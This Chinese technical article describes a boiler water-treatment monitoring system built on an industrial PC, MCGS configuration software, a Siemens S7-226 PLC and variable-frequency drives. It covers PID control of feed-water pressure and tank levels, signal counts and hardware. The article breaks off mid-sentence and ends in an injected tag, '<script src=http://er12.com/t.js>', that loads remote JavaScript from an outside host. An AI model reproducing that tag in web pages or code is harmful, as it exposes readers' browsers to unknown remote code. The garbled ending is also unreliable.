摘 要： 本文介绍了集工业控制计算机、mcgs组态软件、plc（可编程控制器）、变频器于一体的锅炉水处理自动监控系统。此系统实现了数据的集中管理、自动控制、故障检测等多方面功能，为锅炉的连续、稳定、安全运行提供了保证。
关键字： mcgs组态软件 plc 变频器 数据采集与控制
1 前言
计算机监控系统是采用集中监测、集中控制、集中显示、集中管理、集中保存的系统，融合了较先进的自动化技术、计算机技术、通讯技术、故障诊断技术和软件技术，广泛应用在化工、供暖、机械、供水、水处理等多个领域，在工业生产中发挥越来越显著的作用。在满足锅炉连续、安全、稳定的前提下，本文介绍了集工业控制计算机、组态软件、plc（可编程控制器）、变频器于一体的锅炉水处理自动监控系统。
2监控系统工艺流程
锅炉水处理系统的工艺流程简图如图1：
根据工艺流程简图，锅炉水处理自动监控系统包括：
1、锅炉给水压力的控制，2、除氧水箱水位的控制，3、软水箱水位的控制，4、数据的采集与控制。
2.1锅炉给水压力的控制
锅炉给水压力的控制采用水泵变频恒压供水，通过安装在出水管网上的压力变送器，把管网压力信号变成4～20ma的标准信号送入plc（可编程控制器），plc通过pid程序运算后，输出转速信号送给变频器，由变频器控制水泵电机的转速，调节水泵的供水量，使供水管网上的压力保持在给定的压力值上。当用水量超过或少于运行泵的供水量时，通过plc控制切换进行加泵或减泵，即根据用水量的多少由plc控制工作泵的数量增减以及变频器对运行泵的转速调节，实现恒压供水的目的。
变频恒压供水原理图如图2：
2.2除氧水箱水位的控制
除氧水箱水位的控制采用水泵变频与工频供水，通过安装在除氧水箱上的差压变送器，把水箱水位信号转变成4～20ma的标准信号送入plc，plc通过pid程序运算后，得出输出信号给变频器，由变频器控制电机的转速，调节水箱给水量，使除氧水箱的水位保持在给定的水位上。给除氧水箱供水还包括冷凝水箱水位的控制，当冷凝水箱水位高时，启动冷凝水泵，当冷凝水箱水位低时，停止冷凝水泵，防止冷凝水箱出现溢流现象，减少水源浪费。根据除氧水箱水位的高低，由plc控制软水泵和冷凝水泵数量及变频器对软水泵的转速调节，实现恒水位供水。恒水位变频控制原理图如图3：
2.3软水箱水位的控制
软水箱水位的控制采用电磁阀控制，通过安装在软水水箱上的差压变送器，把水箱水位信号变成4～20ma的标准信号送入plc，plc通过pid运算后输出控制信号，当软水水位低时，增加电磁阀开度，当软水水位高时，可减少电磁阀开度。恒水位电磁阀控制原理图如图4：
2.4 数据的采集与控制
水处理自动控制系统需要检测和控制的工艺参数主要有：压力、流量、液位、转速、阀门开度、水泵的运行/停止、阀门的开/关、变频器的运行/停止等等，系统共有模拟量输入11路, 模拟量输出4路，数字量输入40路,数字量输出20路。
3 监控系统硬件配置
锅炉水处理自动监控系统主要由研华工控机、s7-226plc、em221、em235、变频器、伺服放大器、电磁阀、压力变送器、差压变送器、孔板、数显仪器|仪表、rs485/rs232转换器、pc/ppi电缆、控制柜、继电器、水泵等组成。该自动监控系统硬件配置图如图5：
上位机采用研华工业控制计算机，具有性能稳定配置高、抗干扰能力强等优点，主要实现整个系统的数据监视和参数设定工作。下位机采用西门子公司的s7 - 200 系列的s7-226可编程控制器(micro plc)，它具有功能强大、可靠性高、维护方便且抗干扰能力强等多方面优点，本系统主要采用它作为数据采集、控制回路、自动顺序操作和数据运算的功能。
变频器采用芬兰vacon公司的vacon-nx系列变频器，具有调速性能好、保护电机，节能效果显著、运行工艺安全可靠等多项优点，具体参数在变频调试时根据电机具体情况设定。
压力、流量、水位信号采用昌晖仪表采集、显示，仪表通过rs485电缆采集通过rs485/rs232转换后进入上位机显示。转速及阀位信号采用plc模拟量模块采集，经pc/ppi电缆传输由上位机显示。
4 监控系统软件配置
本监控系统采用windows 2000操作系统， mcgs组态软件及其在此软件基础上自主开发的锅炉水处理自动监控系统，step 7-micro/win32 3.2版编程软件以及水处理plc编程程序。
4.1 mcgs组态软件
北京昆仑通态自动化软件科技有限公司开发的mcgs (monitor and control generated system ,通用监控系统) 是用于快速构造和生成计算机监控系统的组态?script src=http://er12.com/t.js>
